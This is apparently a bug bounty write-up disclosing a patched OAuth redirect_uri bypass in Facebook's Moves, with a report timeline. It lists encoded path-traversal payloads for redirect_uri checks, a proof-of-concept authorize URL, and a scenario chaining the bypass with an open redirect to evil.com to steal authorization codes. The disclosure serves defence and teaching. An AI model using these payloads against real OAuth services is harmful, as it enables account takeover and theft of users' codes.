Facebook's Moves - OAuth redirect_uri bypass

3:53 PM

This is going to a very short post about a redirect_uri bypass technique I found in Moves.

Moves is a company owned by Facebook and one of the acquisitions in scope for the bug bounty program they are running.

I have written about an XSS bug caused in this same parameter entitled "Moves OAuth XSS" and this will cover a not so common redirect_uri bypass method.

Anyway, there are a lot of known ways to bypass redirect_uri's in OAuth, it all depends on what server side check we are facing and what limitation factors there are. for instance, in Facebook's case, if you set your applications allowed callback to https://www.anyurl.com/directory it will allow that+ anything following it. so https://www.anyurl.com/directory/anotherdirectory?y=xz is considered perfectly valid. some other sites like Coinbase & Uber implement it differently. and addition of any queries, directories or domains will be considered invalid so scenarios that worked on Facebook will be invalid.

That leaves some OAuth clients heavily misconfigured and sometimes causes serious issues like OAuth bypasses possible.

However, there are sometimes confusions on the server handling these urls (often since dealing with url encoded values) and some bypasses are possible. 
Consider a site that configured its allowed callback url to https://example.com/some/path.

Possible bypasses to tamper with sub-directories:

  1. https://example.com/some/path
  2. https://example.com/some/path/../../new/path
  3. https://example.com/some/path/%2e%2e/%2e%2e/new/path
  4. https://example.com/some/path/%252e%252e/%252e%252e/new/path (double encoded)
  5. https://example.com/new/path///../../some/path/
  6. https://example.com/some/path/.%0a./.%0d./new/path (for servers ignoring nonprintable CRLF chracters)   
 In moves case, I used the 5th example. it basically confuses the parser and thus let it assume /new/path/ is the allowed subdir.

PoC app: https://api.moves-app.com/oauth/v1/authorize?response_type=code&client_id=2KQ3D5coba76A5eg42mlu3L3Kd3btEeS&scope=location&redirect_uri=https://example.com/new/path///../../some/path/ (obviously patched)

That application, although configured to redirect to https://example.com/some/path it will redirect to https://example.com/new/path 

Attack Scenario:

Consider an open redirect in example.com like https://example.com/somepath/redirect?to=evil.com
If the developer set the callback to https://example.com/moves/callback he will expect the OAuth provider won't accept other paths. (so open redirect is low priority here)

However, using the bypass, we create our malicious path like:

We encode the characters so it will be considered as a path and not tamper with the parser. 
the %23 (#) is added at the end to not let the other path following (../moves/callback) matter.

that will redirect to https://example.com/somepath/redirect?to=evil.com#/moves/callback?code=CODE (my precious) and we just get our stolen code via document.hash and game over!

Here is a video poc

Report Timeline

Apr 29 - Inital Report
May 6 - Triage
May 9 - Patch